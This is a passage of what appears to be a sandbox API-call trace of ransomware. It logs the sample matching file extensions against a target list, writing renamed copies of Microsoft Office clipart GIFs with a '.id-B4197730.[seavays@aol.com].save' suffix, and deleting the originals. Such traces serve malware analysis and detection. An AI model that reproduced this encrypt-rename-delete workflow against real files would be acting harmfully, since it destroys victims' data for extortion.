lstrlenW (lpString=".dbf") returned 4 [0208.365] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.365] lstrlenW (lpString=".1cd") returned 4 [0208.365] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.365] lstrlenW (lpString=".jpg") returned 4 [0208.365] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.366] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.366] lstrlenW (lpString="J0099195.GIF") returned 12 [0208.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.366] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=19923) returned 1 [0208.366] CloseHandle (hObject=0x35c) returned 1 [0208.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0208.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.367] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.367] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0208.368] GetLastError () returned 0x0 [0208.368] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0208.369] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0208.370] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.370] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.371] SetEndOfFile (hFile=0x368) returned 1 [0208.371] CloseHandle (hObject=0x368) returned 1 [0208.371] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.371] SetEndOfFile (hFile=0x35c) returned 1 [0208.372] CloseHandle (hObject=0x35c) returned 1 [0208.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0208.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.373] lstrlenW (lpString=".doc") returned 4 [0208.373] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.373] lstrlenW (lpString=".docx") returned 5 [0208.373] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0208.373] lstrlenW (lpString=".pdf") returned 4 [0208.373] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.373] lstrlenW (lpString=".xls") returned 4 [0208.373] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.373] lstrlenW (lpString=".xlsx") returned 5 [0208.373] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0208.373] lstrlenW (lpString=".ppt") returned 4 [0208.373] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.373] lstrlenW (lpString=".zip") returned 4 [0208.373] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.373] lstrlenW (lpString=".rar") returned 4 [0208.374] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.374] lstrlenW (lpString=".bz2") returned 4 [0208.374] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.374] lstrlenW (lpString=".7z") returned 3 [0208.374] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.374] lstrlenW (lpString=".dbf") returned 4 [0208.374] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.374] lstrlenW (lpString=".1cd") returned 4 [0208.374] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.374] lstrlenW (lpString=".jpg") returned 4 [0208.374] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.374] lstrlenW (lpString=".doc") returned 4 [0208.374] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.374] lstrlenW (lpString=".docx") returned 5 [0208.374] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0208.374] lstrlenW (lpString=".pdf") returned 4 [0208.374] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.374] lstrlenW (lpString=".xls") returned 4 [0208.374] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.374] lstrlenW (lpString=".xlsx") returned 5 [0208.374] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0208.374] lstrlenW (lpString=".ppt") returned 4 [0208.375] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.375] lstrlenW (lpString=".zip") returned 4 [0208.375] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.375] lstrlenW (lpString=".rar") returned 4 [0208.375] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.375] lstrlenW (lpString=".bz2") returned 4 [0208.375] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.375] lstrlenW (lpString=".7z") returned 3 [0208.375] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.375] lstrlenW (lpString=".dbf") returned 4 [0208.375] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.375] lstrlenW (lpString=".1cd") returned 4 [0208.375] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0208.375] lstrlenW (lpString=".jpg") returned 4 [0208.375] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.375] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.375] lstrlenW (lpString="J0099196.GIF") returned 12 [0208.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.376] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=14337) returned 1 [0208.376] CloseHandle (hObject=0x35c) returned 1 [0208.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0208.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.377] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.377] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0208.378] GetLastError () returned 0x0 [0208.378] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x3801, lpOverlapped=0x0) returned 1 [0208.379] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x3810, lpOverlapped=0x0) returned 1 [0208.380] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.380] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.380] SetEndOfFile (hFile=0x368) returned 1 [0208.381] CloseHandle (hObject=0x368) returned 1 [0208.381] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.381] SetEndOfFile (hFile=0x35c) returned 1 [0208.382] CloseHandle (hObject=0x35c) returned 1 [0208.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0208.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.383] lstrlenW (lpString=".doc") returned 4 [0208.383] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.383] lstrlenW (lpString=".docx") returned 5 [0208.383] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0208.383] lstrlenW (lpString=".pdf") returned 4 [0208.383] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.383] lstrlenW (lpString=".xls") returned 4 [0208.383] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.383] lstrlenW (lpString=".xlsx") returned 5 [0208.383] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0208.383] lstrlenW (lpString=".ppt") returned 4 [0208.383] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.383] lstrlenW (lpString=".zip") returned 4 [0208.383] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.383] lstrlenW (lpString=".rar") returned 4 [0208.383] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.383] lstrlenW (lpString=".bz2") returned 4 [0208.383] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.383] lstrlenW (lpString=".7z") returned 3 [0208.383] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.383] lstrlenW (lpString=".dbf") returned 4 [0208.383] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.384] lstrlenW (lpString=".1cd") returned 4 [0208.384] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.384] lstrlenW (lpString=".jpg") returned 4 [0208.384] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.384] lstrlenW (lpString=".doc") returned 4 [0208.384] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.384] lstrlenW (lpString=".docx") returned 5 [0208.384] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0208.384] lstrlenW (lpString=".pdf") returned 4 [0208.384] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.384] lstrlenW (lpString=".xls") returned 4 [0208.384] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.384] lstrlenW (lpString=".xlsx") returned 5 [0208.384] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0208.384] lstrlenW (lpString=".ppt") returned 4 [0208.384] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.384] lstrlenW (lpString=".zip") returned 4 [0208.384] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.384] lstrlenW (lpString=".rar") returned 4 [0208.384] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.384] lstrlenW (lpString=".bz2") returned 4 [0208.384] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.384] lstrlenW (lpString=".7z") returned 3 [0208.384] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.384] lstrlenW (lpString=".dbf") returned 4 [0208.385] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.385] lstrlenW (lpString=".1cd") returned 4 [0208.385] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0208.385] lstrlenW (lpString=".jpg") returned 4 [0208.385] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.385] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.385] lstrlenW (lpString="J0099197.GIF") returned 12 [0208.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.385] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=10898) returned 1 [0208.385] CloseHandle (hObject=0x35c) returned 1 [0208.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0208.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.386] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.386] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0208.387] GetLastError () returned 0x0 [0208.387] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x2a92, lpOverlapped=0x0) returned 1 [0208.689] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0208.690] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.690] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.690] SetEndOfFile (hFile=0x368) returned 1 [0208.690] CloseHandle (hObject=0x368) returned 1 [0208.691] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.691] SetEndOfFile (hFile=0x35c) returned 1 [0208.692] CloseHandle (hObject=0x35c) returned 1 [0208.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0208.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.693] lstrlenW (lpString=".doc") returned 4 [0208.693] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.693] lstrlenW (lpString=".docx") returned 5 [0208.693] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0208.693] lstrlenW (lpString=".pdf") returned 4 [0208.693] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.693] lstrlenW (lpString=".xls") returned 4 [0208.693] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.693] lstrlenW (lpString=".xlsx") returned 5 [0208.693] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0208.693] lstrlenW (lpString=".ppt") returned 4 [0208.693] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.693] lstrlenW (lpString=".zip") returned 4 [0208.693] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.693] lstrlenW (lpString=".rar") returned 4 [0208.693] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.693] lstrlenW (lpString=".bz2") returned 4 [0208.693] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.693] lstrlenW (lpString=".7z") returned 3 [0208.693] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.694] lstrlenW (lpString=".dbf") returned 4 [0208.694] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.694] lstrlenW (lpString=".1cd") returned 4 [0208.694] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.694] lstrlenW (lpString=".jpg") returned 4 [0208.694] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.694] lstrlenW (lpString=".doc") returned 4 [0208.694] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.694] lstrlenW (lpString=".docx") returned 5 [0208.694] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0208.694] lstrlenW (lpString=".pdf") returned 4 [0208.694] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.694] lstrlenW (lpString=".xls") returned 4 [0208.694] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.694] lstrlenW (lpString=".xlsx") returned 5 [0208.694] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0208.694] lstrlenW (lpString=".ppt") returned 4 [0208.694] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.694] lstrlenW (lpString=".zip") returned 4 [0208.694] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.694] lstrlenW (lpString=".rar") returned 4 [0208.694] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.694] lstrlenW (lpString=".bz2") returned 4 [0208.694] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.694] lstrlenW (lpString=".7z") returned 3 [0208.694] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.695] lstrlenW (lpString=".dbf") returned 4 [0208.695] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.695] lstrlenW (lpString=".1cd") returned 4 [0208.695] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0208.695] lstrlenW (lpString=".jpg") returned 4 [0208.695] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.695] lstrcmpiW (lpString1=".BMP", 